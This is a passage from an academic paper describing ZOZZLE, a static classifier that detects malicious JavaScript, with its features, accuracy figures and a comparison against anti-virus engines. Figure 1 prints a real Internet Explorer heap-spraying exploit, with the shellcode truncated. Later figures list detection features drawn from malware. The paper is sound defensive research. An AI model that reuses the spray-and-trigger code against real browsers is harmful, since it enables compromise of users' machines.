(context-sensitive) features for detecting malicious
JavaScript code. This context-sensitive approach
provides increased precision in comparison to naı̈ve
text-based classification.

• Fast classification. Because fast scanning is key to
in-browser adoption, we present fast multi-feature
matching algorithms that scale to hundreds or even
thousands of features.

• Evaluation. We evaluate ZOZZLE in terms of per-
formance and malware detection rates, both false
positives and false negatives. ZOZZLE has an ex-
tremely low false positive rate of 0.0003%, which is
less than one in a quarter million, comparable to five
commericial anti-virus products we tested against.
To obtain these numbers, we tested ZOZZLE against
a collection of over 1.2 million benign JavaScript
samples. Despite this high accuracy, the classifier is
very fast, with a throughput at over one megabyte
of JavaScript code per second.

Classifier-based tools are susceptible to being circum-
vented by an attacker who knows the inner workings of
the tool and is familiar with the list of features being
used, however, our preliminary experience with ZOZZLE

suggests that it is capable of detecting many thousands of
malicious sites daily in the wild. We consider the issue
of evasion in Section 6.

Paper Organization: The rest of the paper is organized
as follows. Section 2 gives some background informa-
tion on JavaScript exploits and their detection and sum-
marizes our experience of performing offline scanning
with NOZZLE on a large scale. Section 3 describes the
implementation of our analysis. Section 4 describes our
experimental methodology. Section 5 describes our ex-
perimental evaluation. Section 6 provides a discussion

<html>
<body>
<button id="butid" onclick="trigger();"

style="display:none"/>
<script>
// Shellcode
var shellcode=unescape(’\%u9090\%u9090\%u9090\%u9090...’);
bigblock=unescape(’\%u0D0D\%u0D0D’);
headersize=20;
shellcodesize=headersize+shellcode.length;
while(bigblock.length<shellcodesize){bigblock+=bigblock;}
heapshell=bigblock.substring(0,shellcodesize);
nopsled=bigblock.substring(0,

bigblock.length-shellcodesize);
while(nopsled.length+shellcodesize<0x25000){
nopsled=nopsled+nopsled+heapshell

}

// Spray
var spray=new Array();
for(i=0;i<500;i++){spray[i]=nopsled+shellcode;}

// Trigger
function trigger(){
var varbdy = document.createElement(’body’);
varbdy.addBehavior(’#default#userData’);
document.appendChild(varbdy);
try {
for (iter=0; iter<10; iter++) {

varbdy.setAttribute(’s’,window);
} catch(e){ }
window.status+=’’;

}
document.getElementById(’butid’).onclick();

}
</script>

</body>
</html>

Figure 1: Heap spraying attack example.

of the limitations and deployment concerns for ZOZZLE.
Section 7 discusses related work, and, finally, Section 8
concludes.

Appendices are organized as follows. Appendix A
discusses some of the hand-analyzed malware samples.
Appendix B explores tuning ZOZZLE for better precision.
Appendix C shows examples of non-heap spray malware
and also anti-virus false positives.

2 Background

This section gives overall background on JavaScript-
based malware, focusing specifically on heap spraying
attacks.

2.1 JavaScript Malware Background

Figure 1 shows an example of real JavaScript malware
that performs a heap spray. Such malware consists of
three relatively independent parts. The shellcode is the
portion of executable machine code that will be placed
on the browser heap when the exploit is executed. It is
typical to precede the shellcode with a block of NOP in-
structions (so-called NOP sled). The sled is often quite
large compared to the size of the subsequence shellcode,
so that a random jump into the process address space is
likely to hit the NOP sled and slide down to the start of
the shellcode. The next part is the spray, which allocates
many copies of the NOP sled/shellcode in the browser
heap. In JavaScript, this is easily accomplished using an
array of strings. Spraying of this sort can be used to de-
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feat address space layout randomization (ASLR) protec-
tion in the operating system. The last part of the exploit
triggers a vulnerability in the browser; in this case, the
vulnerability is a well-known flaw in Internet Explorer 6
that exploits a memory corruption issue with function
addBehavior.

Note that the example in Figure 1 is entirely unob-
fuscated, with the attacker not even bothering to rename
variables such as shellcode, nopsled, and spray to make
the attack easier to spot. In practice, many attacks are
obfuscated prior to deployment, either by hand, or using
one of many available obfuscation kits [11]. To avoid de-
tection, the primary technique used by obfuscation tools
is to use eval unfolding, i.e. self-generating code that
uses the eval construct in JavaScript to produce more
code to run.

2.2 Characterizing Malicious JavaScript

ZOZZLE training is based on results collected with the
NOZZLE heap spraying detector. To gather the data we
use to train the ZOZZLE classifier and evaluate it, we em-
ployed a web crawler to visit many randomly selected
URLs and process them with NOZZLE to detect if mal-
ware was present.

Once we determine that JavaScript is malicious, we
invested a considerable effort in examining the code by
hand and categorizing in various ways. One of the in-
sights we gleaned from this process is that once unfolded,
most malware does not have that much variety, following
the traditional long tail pattern. We discuss some of the
hand-analyzed samples in Appendix A.

Any offline malware detection scheme must deal with
the issues of transience and cloaking. Transient mali-
cious URLs go offline or become benign after some pe-
riod of time, and cloaking is when an attack hides itself
from a particular user agent, IP address range, or from
users who have visited the page before. While we tried
to minimize these effects in practice by scanning from a
wider range of IP addresses, in general, these issues are
difficult to fully address.

Figure 2 summarizes information about malware tran-
sience. To compute the transience of malicious sites, we
re-scan the set of URLs detected by Nozzle on the previ-
ous day. This procedure is repeated for three weeks (21
days). The set of all discovered malicious URLs were
re-scanned on each day of this three week period. This
means that only the URLs discovered on day one were
re-scanned 21 days later. The URLs discovered on day
one happened to have a lower transience rate than other
days, so there is a slight upward slope toward the end of
the graph.

Any offline scanning technique will have difficulty
keeping up with malware exhibiting such a high rate of
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Figure 2: Transience of detected malicious URLs after several days.
The number of days is shown of the x axis, the percentage of remaining
malware is shown on the y axis.
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Figure 3: Unfolding tree: an example. Rectangles are documents,
and circles are JavaScript contexts. Gray circles are benign, black are
malicious, and dashed are “co-conspirators” that participate in deob-
fuscation. Edges are labeled with the method by which the context or
document was reached. The actual page contains 10 different exploits
using the same obfuscation.

transience–Nearly 20% of malicious URLs were gone af-
ter a single day. We believe that in-browser detection
is desirable, in order to be able to detect new malware
before it has a chance to affect the user regardless of
whether the URL being visited has been scanned before.

2.3 Dynamic Malware Structure

One of the core issues that needs to be addressed when
talking about JavaScript malware is the issue of obfusca-
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Figure 4: Distribution of context counts for malware and benign code.

tion. In order to avoid detection, malware writers resort
to various forms of JavaScript code obfuscation, some of
which is done by hand, other with the help of many avail-
able obfuscation toolkits [11]. While many approaches
to code obfuscation exist, in our experience we see eval

unfolding as the most commonly used. The idea is to use
the eval language feature to generate code at runtime in
a way that makes the original code difficult to pattern-
match. Often, this form of code unfolding is used repeat-
edly, so that many levels of code are produced before the
final, malicious version emerges.

Example 1 Figure 3 illustrates the process of code un-
folding using a specific malware sample obtained from
a web site http://es.doowon.ac.kr. At the time of
detection, this malicious URL flagged by NOZZLE con-
tained 10 distinct exploits, which is not uncommon for
malware writers, who tend to “over-provision” their ex-
ploits: to increase the changes to successful exploitation,
they may include multiple exploits within the same page.
Each exploit in our example is pulled in with an <iframe>

tag.
Each of these exploits is packaged in a similar fashion.

The leftmost context is the result of an eval in the body of
the page that defines a function. Another eval call from
the body of the page uses the newly-defined function to
define another new function. Finally, this function and
another eval call from the body exposes the actual ex-
ploit. Surprisingly, this page also pulls in a set of benign
contexts, consisting of page trackers, JavaScript frame-
works, and site-specific code. �

Note, however, that the presence of eval unfolding
does not provide a reliable indication of malicious in-
tent. There are plenty of perfectly benign pages that also
perform some form of code obfuscation, for instance, as
a weak form of copy protection to avoid code piracy.
Many commonly used JavaScript library frameworks do
the same, often to save space through client-side code
generation.
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Figure 5: ZOZZLE training illustrated.

We instrumented the ZOZZLE deobfuscator to collect
information about which code context leads to other
code contexts, allowing us to collect information about
the number of code contexts created and the unfolding
depth. Figure 4 shows a distributions of JavaScript con-
text counts for benign and malicious URLs. The ma-
jority of URLs have only several JavaScript code con-
texts, however, many can be have 50 or more, created
through either <iframe> or <script> inclusion or eval un-
folding. Some pages, however, may have as many as 200
code contexts. In other words, a great deal of dynamic
unfolding needs to take place before these contexts will
“emerge” and will be available for analysis.

It is clear from the graph in Figure 4 that, contrary to
what might have been thought, the number of contexts is
not a good indicator of a malicious site. Context counts
were calculated for all malicious URLs from a week of
scanning with NOZZLE and a random sample of benign
URLs over the same period.

3 Implementation

In this section, we discuss the details of the ZOZZLE im-
plementation.

3.1 Overview

Much of ZOZZLE’s design and implementation has in ret-
rospect been informed by our experience with reverse
engineering and analyzing real malware found by NOZ-
ZLE. Figure 5 illustrates the major parts of the ZOZZLE
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architecture. At a high level, the process evolves in three
stages: JavaScript context collection and labeling as be-
nign or malicious, feature extraction and training of a
naı̈ve Baysian classifier, and finally, applying the clas-
sifier to a new JavaScript context to determine if it is be-
nign or malicious. In the following section, we discuss
the details of each of these stages in turn.

3.2 Training Data Extraction and Labeling

ZOZZLE makes use of a statistical classifier to efficiently
identify malicious JavaScript. The classifier needs train-
ing data to accurately classify JavaScript source, and
we describe the process we use to get that training data
here. We start by augmenting the JavaScript engine in
a browser with a “deobfuscator” that extracts and col-
lects individual fragments of JavaScript. As discussed
above, exploits are frequently buried under multiple lev-
els of JavaScript eval. Unlike Nozzle, which observes
the behavior of running JavaScript code, ZOZZLE must
be run on an unobfuscated exploit to reliably detect ma-
licious code.

While detection on obfuscated code may be possible,
examining a fully unpacked exploit is most likely to re-
sult in accurate detection. Rather than attempt to deci-
pher obfuscation techniques, we leverage the simple fact
that an exploit must unpack itself to run.

Our experiments presented in this paper involved
instrumenting the Internet Explorer browser, but we
could have used a different browser such as Firefox or
Chrome instead. Using the Detours binary instrumenta-
tion library [13], we were able to intercept calls to the
Compile function in the JavaScript engine located in the
jscript.dll library. This function is invoked when eval

is called and whenever new code is included with an
<iframe> or <script> tag. This allows us to observe Java-
Script code at each level of its unpacking just before it is
executed by the engine. We refer to each piece of Java-
Script code passed to the Compile function as a code con-
text. For purposes of evaluation, we write out each con-
text to disk for post-processing. In a browser-based im-
plementation, context assessment would happen on the
fly.

3.3 Feature Extraction

Once we have labeled JavaScript contexts, we need to
extract features from them that are predictive of mali-
cious or benign intent. For ZOZZLE, we create features
based on the hierarchical structure of the JavaScript ab-
stract syntax tree (AST). Specifically, a feature consists
of two parts: a context in which it appears (such as a
loop, conditional, try/catch block, etc.) and the text (or
some substring) of the AST node. For a given JavaScript
context, we only track whether a feature appears or not,

and not the number of occurrences. To efficiently ex-
tract features from the AST, we traverse the tree from the
root, pushing AST contexts onto a stack as we descend
and popping them as we ascend.

To limit the possible number of features, we only ex-
tract features from specific nodes of the AST: expres-
sions and variable declarations. At each of the expression
and variable declarations nodes, a new feature record is
added to that script’s feature set.

If we use the text of every AST expression or variable
declaration observed in the training set as a feature for
the classifier, it will perform poorly. This is because most
of these features are not informative (that is, they are not
correlated with either benign or malicious training set).
To improve classifier performance, we instead pre-select
features from the training set using the χ2 statistic to
identify those features that are useful for classification.
A pre-selected feature is added to the script’s feature set
if its text is a substring of the current AST node and the
contexts are equal. The method we used to select these
features is described in the following section.

3.4 Feature Selection

As illustrated in Figure 5, after creating an initial fea-
ture set, ZOZZLE performs a filtering pass to select those
features that are likely to be most predictive. For this
purpose, we used the χ2 algorithm to test for correla-
tion. We include only those features whose presence is
correlated with the categorization of the script (benign or
malicious). The χ2 test (for one degree of freedom) is
described below:

A = malicious contexts with feature

B = benign contexts with feature

C = malicious contexts without feature

D = benign contexts without feature

χ2 =
(A ∗D − C ∗B)2

(A+ C) ∗ (B +D) ∗ (A+B) ∗ (C +D)

We selected features with χ2 ≥ 10.83, which corre-
sponds with a 99.9% confidence that the two values (fea-
ture presence and script classification) are not indepen-
dent.

3.5 Classifier Training

ZOZZLE uses a naı̈ve Bayesian classifier, one of the sim-
plest statistical classifiers available. When using naı̈ve
Bayes, all features are assumed to be statistically inde-
pendent. While this assumption is likely incorrect, the
independence assumption has yielded good results in the
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past. Because of its simplicity, this classifier is efficient
to train and run.

The probability assigned to label Li for code fragment
containing features F1, . . . , Fn may be computed using
Bayes rule as follows:

P (Li|F1, . . . , Fn) =
P (Li)P (F1, . . . , Fn|Li)

P (F1, . . . , Fn)

Because the denominator is constant regardless of Li we
ignore it for the remainder of the derivation. Leaving
out the denominator and repeatedly applying the rule of
conditional probability, we rewrite this as:

P (Li|F1, . . . , Fn) = P (Li)

n∏

k=1

P (Fk|F1, . . . , Fk−1, Li)

Given that features are assumed to be conditionally inde-
pendent, we can simplify this to:

P (Li|F1, . . . , Fn) = P (Li)

n∏

k=1

P (Fk|Li)

Classifying a fragment of JavaScript requires travers-
ing its AST to extract the fragment’s features, multiply-
ing the constituent probabilities of each discovered fea-
ture (actually implemented by adding log-probabilities),
and finally multiplying by the prior probability of the la-
bel. It is clear from the definition that classification may
be performed in linear time, parameterized by the size
of the code fragment’s AST, the number of features be-
ing examined, and the number of possible labels. The
processes of collecting and hand-categorizing JavaScript
samples and training the ZOZZLE classifier are detailed in
Section 4.

3.6 Fast Pattern Matching

An AST node contains a feature if the feature’s text is a
substring of the AST node. With a naı̈ve approach, each
feature must be matched independently against the node
text. To improve performance, we construct a state ma-
chine for each context that reduces the number of charac-
ter comparisons required. There is a state for each unique
character occurring at each position in the features for a
given context.

A pseudocode for the fast matching algorithm is
shown in Figure 7. State transitions are selected based
on the next character in the node text. Every state has a
bit mask with bits corresponding to features. The bits are
set only for those features that have the state’s incom-
ing character at that position. At the beginning of the
matching, a bitmap is set to all ones. This mask is AND-
ed with the mask at each state visited during matching.

At the end of matching, the bit mask contains the set of
features present in the node. This process is repeated
for each position in the node’s text, as features need not
match at the start of the node.

Example 2 An example of a state machine used for fast
pattern matching is shown in Figure 6. This string match-
ing state machine can identify three patterns: alert,
append, and insert. Assume the matcher is running on
input text appert. During execution, a bit array of size
three, called the matched list, is kept to indicate the pat-
terns that have been matched up to this point in the in-
put. This bit array starts with all bits set. From the left-
most state we follow the edge labeled with the input’s
first character, in this case an a.

The match list is bitwise-anded with this new state’s
bit mask of 110. This process is repeated for the input
characters p, p, e. At this point, the match list contains 010
and the remaining input characters are r, t, and null (also
notated as \0). Even though a path to an end state exists
with edges for the remaining input characters, no patterns
will be matched. The next character consumed, an r,
takes the matcher to a state with mask 001 and match
list of 010. Once the match list is masked for this state,
no patterns can possibly be matched. For efficiency, the
matcher terminates at this point and returns the empty
match list.

The maximum number of comparisons required to
match an arbitrary input with this matcher is 17, ver-
sus 20 for naı̈ve matching (including null characters at
the ends of strings). The worst-case number of compar-
isons performed by the matcher is the total number of
distinct edge inputs at each input position. The sample
matcher has 19 edges, but at input position 3 two edges
consume the same character (’e’), and at input position 6
two edges consume the null character. In practice, we
find that the number of comparisons is reduced signifi-
cantly more than for this sample, due to the large number
of features because of the pigeonhole principle. �

For a classifier using 100 features, a single position in
the input text would require 100 character comparisons
with naı̈ve matching. Using the state machine approach,
there can be no more than 52 comparisons at each string
position (36 alphanumeric characters and 16 punctuation
symbols), giving a reduction of nearly 50%. In practice
there are even more features, and input positions do not
require matching against every possible input character.

Figure 8 clearly shows the benefit of fast pattern
matching over a naı̈ve matching algorithm. The graph
shows the average number of character comparisons per-
formed per-feature using both our scheme and a naive
approach that searches an AST node’s text for each pat-
tern individually. As can be seen from the figure, the
fast matching approach has far fewer comparisons, de-
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Figure 6: Fast feature matching illustrated.

matchList ← 〈1, 1, . . . , 1〉
state ← 0
for all c in input do
state ← matcher.getNextState(state, c)
matchList ← matchList ∧ matcher.getMask(state)
if matchList〈0, 0, . . . , 0〉 then

return matchList
end if

end for
return matchList

Figure 7: Fast matching algorithm.
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matching. The number of features is shown on the x axis.

creasing asymptotically as the number of features ap-
proaches 1,500.

3.7 Future Improvements

In this section, we describe additional algorithmic im-
provements not present in our initial implementation.

3.7.1 Automatic Malware Clustering

Using the same features extracted for classification, it
is possible to automatically cluster attacks into groups.
There are two possible approaches that exist in this
space: supervised and unsupervised clustering.

Supervised clustering would consist of hand-
categorizing attacks, which has actually already been
done for about 1,000 malicious contexts, and assigning
new scripts to one of these groups. Unsupervised
clustering would not require the initial sorting effort,
and is more likely to successfully identify new, common
attacks. It is likely that feature selection would be an

ongoing process; selected features should discriminate
between different clusters, and these clusters will likely
change over time.

3.7.2 Substring Feature Selection

For the current version of ZOZZLE, automatic feature se-
lection only considers the entire text of an AST node as
a potential feature. While simply taking all possible sub-
strings of this and treating those as possible features as
well may seem reasonable, the end result is a classifier
with many more features and little (if any) improvement
in classification accuracy.

An alternative approach would be to treat certain types
of AST nodes as “divisible” when collecting candidate
features. If the entire node text is not a good discrimi-
native feature, its component substrings can be selected
as candidate features. This avoids introducing substring
features when the full text is sufficiently informative, but
allows for simple patterns to be extracted from longer
text (such as %u or %u0c0c) when they are more informa-
tive than the full string. Not all AST nodes are suitable
for subdivision, however. Fragments of identifiers don’t
necessarily make sense, but string constants and numbers
could still be meaningful when split apart.

3.7.3 Feature Flow

At the moment, features are extracted only from the text
of the AST nodes in a given context. This works well for
whole-script classification, but has yielded more limited
results for fine-grained classification (that is, to identify
that a specific part of the script is malicious). To prevent
a particular feature from appearing in a particularly infor-
mative context (such as COMMENT appearing inside a loop, a
component the Aurora exploit [19]) an attacker can sim-
ply assign this string to a variable outside the loop and
reference the variable within the loop. The idea behind
feature flow is to keep a simple lookup table for iden-
tifiers, where both the identifier name and its value are
used to extract features from an AST node.

By ignoring scoping rules and loops, we can get a rea-
sonable approximation of the features present in both the
identifiers and values within a given context with low
overhead. This could be taken one step further by em-
ulating simple operations on values. For example, if two
identifiers set to strings are added, the values of these
strings could be concatenated and then searched for fea-
tures. This would prevent attackers from hiding common
shellcode patterns using concatenation.
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4 Experimental Methodology

In order to train and evaluate ZOZZLE, we created a col-
lection of malicious and benign JavaScript samples to use
as training data and for evaluation.

Gathering Malicious Samples: To gather the results
for Section 5, we first dynamically scanned URLs with
a browser running both NOZZLE and the ZOZZLE Java-
Script deobfuscator. In this configuration, when NOZZLE

detects a heap spraying exploit, we record the URL and
save to disk all JavaScript contexts seen by the deobfus-
cator. All recorded JavaScript contexts are then hand-
examined to identify those that contain any malware ele-
ments (shellcode, vulnerability, or heap-spray).

Malicious contexts can be sorted efficiently by first
grouping by their md5 hash value. This dramatically re-
duces the required effort because of the lack of exploit
diversity explained first in Section 2 and relatively few
identifier-renaming schemes being employed by attack-
ers. For exploits that do appear with identifier names
changed, there are still usually some identifiers left un-
changed (often part of the standard JavaScript API)
which can be identified using the grep utility. Finally,
hand-examination is used to handle the few remaining
unsorted exploits. Using a combination of these tech-
niques, 919 deobfuscated malicious contexts were iden-
tified and sorted in several hours.

Gathering Benign Samples: To create a set of benign
JavaScript contexts, we extracted JavaScript from the
Alexa.com top 50 URLs using the ZOZZLE deobfuscator.
The 7,976 contexts gathered from these sites were used
as our benign dataset.

Feature Selection: To evaluate ZOZZLE, we partition our
malicious and benign datasets into training and evalua-
tion data and train a classifier. We then apply this classi-
fier to the withheld samples and compute the false posi-
tive and negative rates. To train a classifier with ZOZZLE,
we first need a define a set of features from the code.
These features can be hand-picked, or automatically se-
lected (as described in Section 3) using the training ex-
amples. In our evaluation, we compare the performance
of classifiers built using hand-picked and automatically
selected features.

Feature

try : unescape
loop : spray
loop : payload
function : addbehavior
string : 0c

Figure 9: Examples of hand-picked fea-
tures used in our experiments.

The 89 hand-
picked features
were selected based
on experience and
intuition with many
pieces of malware
detected by NOZ-
ZLE and involved
collecting particu-
larly “memorable”

Feature Present M : B

function : anonymous � 1 : 4609
try : newactivexobject(”pdf.pdfctrl”) � 1309 : 1
loop : scode � 1211 : 1
function : $(this) � 1 : 1111
if : ”shel” + ”l.ap” + ”pl” + ”icati” + ”on” � 997 : 1
string : %u0c0c%u0c0c � 993 : 1
loop : shellcode � 895 : 1
function : collectgarbage() � 175 : 1
string : #default#userdata � 10 : 1
string : %u � 1 : 6

Figure 10: Sample of automatically selected features and their dis-
criminating power as a ratio of likelihood to appear in a malicious or
benign context.

features frequently
repeated in malware samples.

Automatically selecting features typically yields many
more features as well as some features that are biased
toward benign JavaScript code, unlike hand-picked fea-
tures that are all characteristic of malicious JavaScript
code. Examples of some of the hand-picked features
used are presented in Figure 9.

For comparison purposes, samples of the automati-
cally extracted features, including a measure of their dis-
criminating power, are shown in Figure 10. The mid-
dle column shows whether it is the presence of the fea-
ture (�) or the absence of it (�) that we are matching on.
The last column shows the number of malicious (M) and
benign (B) contexts in which they appear in our training.

In addition to the feature selection methods, we also
varied the types of features used by the classifier. Be-
cause each token in the Abstract Syntax Tree (AST) ex-
ists in the context of a tree, we can include varying parts
of that AST context as part of the feature. Flat features
are simply text from the JavaScript code that is matched
without any associated AST context. We should empha-
size that flat features are what are typically used in var-
ious text classification schemes. What distinguishes our
work is that, through the use of hierarchical features, we
are taking advantage of the contextual information given
by the code structure to get better precision.

Hierarchical features, either 1- or n-level, contain a
certain amount of AST context information. For exam-
ple, 1-level features record whether they appear within
a loop, function, conditional, try/catch block, etc. Intu-
itively, a variable called shellcode declared or used right
after the beginning of a function is perhaps less indica-
tive of malicious intent than a variable called shellcode

that is used with a loop, as is common in the case of a
spray. For n-level features, we record the entire stack of
AST contexts such as

〈a loop,within a conditional,within a function, . . .〉
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Features Hand-Picked Automatic Features

flat 95.45% 99.48% 948
1-level 98.51% 99.20% 1,589
n-level 96.65% 99.01% 2,187

Figure 11: Classifier accuracy for hand-picked and automatically se-
lected features.

Features Hand-Picked Automatic
False Pos. False Neg. False Pos. False Neg.

flat 4.56% 4.51% 0.01% 5.84%
1-level 1.52% 1.26% 0.00% 9.20%
n-level 3.18% 5.14% 0.02% 11.08%

Figure 12: False positives and false negatives for flat and hierarchical
features using hand-picked and automatically selected features.

The depth of the AST context presents a tradeoff between
accuracy and performance, as well as between false pos-
itives and false negatives. We explore these tradeoffs in
detail in Section 5.

5 Evaluation

In this section, we evaluate the effectiveness of ZOZZLE

using the benign and malicious JavaScript samples de-
scribed in Section 4. To obtain the experimental results
presented in this section, we used an HP xw4600 work-
station (Intel Core2 Duo E8500 3.16 Ghz, dual proces-
sor, 4 Gigabytes of memory), running Windows 7 64-bit
Enterprise.

5.1 False Positives and False Negatives

Accuracy: Figure 11 shows the overall classification ac-
curacy of ZOZZLE when evaluated using our malicious
and benign JavaScript samples1. The accuracy is mea-
sured as the number of successful classifications divided
by total number of samples. In this case, because we have
many more benign samples than malicious samples, the
overall accuracy is heavily weighted by the effectiveness
of correctly classifying benign samples.

In the figure, the results are sub-divided first by
whether the features are selected by hand or using the au-
tomatic technique described in Section 3, and then sub-
divided by the amount of context used in the classifier
(flat, 1-level, and n-level).

1Unless otherwise stated, for these results 25% of the samples
were used for classifier training and the remaining files were used
for testing. Each experiment was repeated five times on a different
randomly-selected 25% of hand-sorted data.

ZOZZLE AV1 AV2 AV3 AV4 AV5

Samples 1,275,033 1,275,078

True pos. 5 3 0 3 1 3

False pos. 4 2 5 5 4 3

FP rate 3.1E-6 1.6E-6 3.9E-6 2.9E-6 3.1E-6 2.4E-6

Figure 13: False positive rate comparison.

The table shows that overall, automatic feature selec-
tion significantly outperforms hand-picked feature selec-
tion, with an overall accuracy above 99%. Second, we
see that while some context helps the accuracy of the
hand-picked features, overall, context has little impact on
the accuracy of automatically selected features. We also
see in the fourth column the number of features that were
selected in the automatic feature selection. As expected,
the number of features selected with the n-level classifier
is significantly larger than the other approaches.

Hand-picked vs. Automatic: Figure 12 expands on the
above results by showing the false positive and false neg-
ative rates for the different feature selection methods and
levels of context. The rates are computed as a fraction of
malicious and benign samples, respectively. We see from
the figure that the false positive rate for all configurations
of the hand-picked features is relatively high (1.5-4.5%),
whereas the false positive rate for the automatically se-
lected features is nearly zero. The best case, using au-
tomatic feature selection and 1-level of context, has no
false positives in any of the randomly-selected training
and evaluation subsets. The false negative rate for all
the configurations is relatively high, ranging from 1–11%
overall. While this suggests that some malicious contexts
are not being classified correctly, for most purposes, hav-
ing high overall accuracy and low false positive rate are
the most important attributes of a malware classifier.

Best classifier: In contrast to the lower false positive
rates, the false negative rates of the automatically se-
lected features are higher than they are for the hand-
picked features. The insight we have is that the automatic
feature selection selects many more features, which im-
proves the sensitivity in terms of false positive rate, but
at the same time reduces the false negative effectiveness
because extra benign features can sometimes mask mali-
cious intent. We see that trend manifest itself among the
alternative amounts of context in the automatically se-
lected features. The n-level classifier has more features
and a higher false negative rate than the flat or 1-level
classifiers. Since we want to achieve a very low false
positive rate with a moderate false negative rate, and the
1-level classifier provided the best false positive rate in
these experiments, in the remainder of this section, we
consider the effectiveness of the 1-level classifier in more
detail.
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ZOZZLE JSAND AV1 AV2 AV3 AV4 AV5

9% 15% 24% 28% 34% 83% 42%

Figure 14: False negative rate comparison.

5.2 Comparison with AV & Other Techniques

Previous analysis has been performed on a relatively
small set of benign files. As a result, our 1-level clas-
sifier does not produce any false alarms on about 8,000
benign samples, but using a set of this size limits the pre-
cision of our evaluation. To fully understand the false
positive rate of ZOZZLE, we have obtained a large collec-
tion of over 1.2 million benign JavaScript contexts taken
from manually white-listed web sites.
Investigating false positives further: Figure 13 shows
the results of running both ZOZZLE and five state-of-the-
art anti-virus products on the large benign data set. Out
of the 1.2 million files, only 4 were incorrectly marked
malicious by ZOZZLE. This is fewer than one in a quar-
ter million false alarms. The four false positives flagged
by ZOZZLE fell into two distinct cases and both cases
were essentially a single large JSON-like data structure
that included many instances of encoded binary strings.
Adding a specialized JSON data recognizer to ZOZZLE

could eliminate these false alarms.
Even though anti-virus products attempt to be ex-

tremely careful about false positives, in our run, the
five anti-virus engines produced 29 alerts when applied
to 1,275,078 JavaScript samples.

Our of these, over half, 19 alerts turn out to be false
positives. We investigated these further and found sev-
eral reasons for these errors. The first is assuming that
some document.write of an unescaped string could be ma-
licious when they in fact were not. The second reason
is flagging unpackers, i.e. pieces of code that convert
a string into another one through character code trans-
lation. Clearly, these unpackers alone are not malicious.
We show examples of these mistakes in Appendix B. The
third reason is overly aggressively flagging phishing sites
that insert links into the current page; this is because the
anti-virus is unable to distinguish between them and mal-
ware. The figure also shows cases where we found true
malware in the large data set (listed as true positives),
despite the fact that the web sites that the JavaScript was
taken from were white-listed. We see that ZOZZLE was
also better at finding true positives than the anti-virus de-
tectors, finding a total of five out of the 1.2 million sam-
ples. We also note that the number of samples used in the
anti-virus and ZOZZLE results in this table are slightly dif-
ferent due to the fact that on some of the samples either
the anti-virus or ZOZZLE aborts due to ill-formed Java-
Script syntax and those samples are not included in the
total.

In summary, ZOZZLE has a false positive rate
of 0.0003%, which is comparable to the five anti-virus
tools in all cases and is better than some of them.
Investigating false negatives further: Figure 14 shows
a comparison of ZOZZLE and the five anti-virus engines
discussed above. We fed the anti-virus engines the 919
hand-labeled malware samples used in the previous eval-
uation of ZOZZLE.2 Additionally, we include JSAND [6],
a recently published malware detector that has a public
web interface for malware upload and detection. In the
case of JSAND, we only used a small random sample
of 20 malicious files due to the difficulty of automat-
ing the upload process, apparent rate limiting, and the
latency of JSAND evaluation. The figure demonstrates
that all of the other products have a higher false negative
rate compared to ZOZZLE. JSAND is the closest, produc-
ing a false negative rate of 15%. We feel that these high
false negative rates for the anti-virus products are likely
caused by the tendency of such products to be conserva-
tive and trade low false positives for higher false nega-
tives. This experiment illustrates the difficulty that tradi-
tional anti-virus techniques have classifying JavaScript,
where self-generated code is commonplace. We feel that
ZOZZLE excels in both dimensions.

5.3 Classifier Performance

Figure 15 shows the classification time as a function of
the size of the file, ranging up to 10 KB. We used auto-
matic feature selection, a 1-level classifier trained on .25
of the hand-sorted dataset with no hard limit on feature
counts to obtain this chart. This evaluation was per-
formed on a classifier with over 4,000 features, and rep-
resents the worst case performance for classification. We
see that for a majority of files, classification can be per-
formed in under 4 ms. Moreover, many contexts are in
fact eval contexts, which are generally smaller than Java-
Script files downloaded from the network. In the case of
eval contexts such as that, the classification overhead is
usually 1 ms and below.

Figure 16 displays the overhead as a function of the
number of classification features we used and compares
it to the average parse time of .86 ms. Despite the fast
feature matching algorithm presented in Section 3, hav-
ing more features to match against is still quite costly. As
a result, we see the average classification time grow sig-
nificantly, albeit linearly, from about 1.6 ms for 30 fea-
tures to over 7 ms for about 1,300 features. While these
numbers are from our unoptimized implementation, we
believe that ZOZZLE’s static detector has a lot of potential
for fast on-the-fly malware identification.

2The ZOZZLE false negative rate listed in Figure 14 is taken on
our cross-validation experiment in Figure 12.
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Figure 15: Classification time as a function of JavaScript file size. File size in bytes is shown on the x axis and the classification time in ms is
shown on the y axis.
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Figure 16: Classifier throughput and accuracy as a function of the
number of features, using 1-level classification with .25 of the train-
ing set size.

6 Discussion

Caveats and limitations: All classifier-based malware
detection tools will fail to detect some attacks, such as
exploits that do not contain any of the features present
in the training examples. More importantly, attackers
who have a copy of ZOZZLE as an oracle can devise vari-
ants of malware that are not detected by it. For example,
they might rename variables, obscure strings by encod-
ing them or breaking them into pieces, or substitute dif-
ferent APIs that accomplish the same task.

Evasion is made somewhat more difficult because any
exploit that uses a known CVE must eventually make
the necessary JavaScript runtime calls (e.g., detecting
or loading a plugin) to trigger the exploit. If ZOZZLE

is able to statically detect such calls, it will detect the
attempted exploit. To avoid such detection, an attacker
might change the context in which these calls appear by
creating local variables that reference the desired run-
time function, an approach already employed by some
exploits we have collected.

In the future, for ZOZZLE to continue to be effective,
it has to be adaptive against attempts to avoid detec-

tion. This adaptation takes two forms: improving its
ability to reason about the malware, and adapting the
feature set used to detect malware as it evolves. To im-
prove ZOZZLE’s detection capability, it needs to incorpo-
rate more semantic information about the JavaScript it
analyzes. For example, as described in Section 3, feature
flow could help ZOZZLE identify attempts to obfuscate
the use of APIs necessary for malware to be success-
ful. Adapting ZOZZLE’s feature set requires continuous
retraining based on collecting malware samples detected
by deploying other detectors such as NOZZLE. With such
adaptation, ZOZZLE would dramatically reduce the effec-
tiveness of the copy-and-pasted attacks that make up the
majority of JavaScript malware today. In combination
with complementary detection techniques, such as NOZ-
ZLE, an updated feature set can be generated frequently
with no human intervention.

Just as with anti-virus, we believe that ZOZZLE is one
of several measures that can be used as part of a defense-
in-depth strategy. Moreover, our experience suggests that
in many cases attackers are slow to adapt to the changing
landscape. Despite the wide availability of obfuscation
tools, in our NOZZLE detection experiments we still find
many sites not using any form of obfuscation at all. We
also see little diversity in the exploits collected. For ex-
ample, the top five malicious scripts account for 75% of
the malware detected.

Deployment: The most attractive deployment strategy
for ZOZZLE is in-browser deployment. ZOZZLE has been
designed to require only occasional offline re-training so
that classifier updates can be shipped off to the browser
every several days or weeks. Figure 17 shows a proposed
workflow for ZOZZLE in-browser deployment.

The code of the in-browser detector does not need to
change, only the list of features and weights needs to
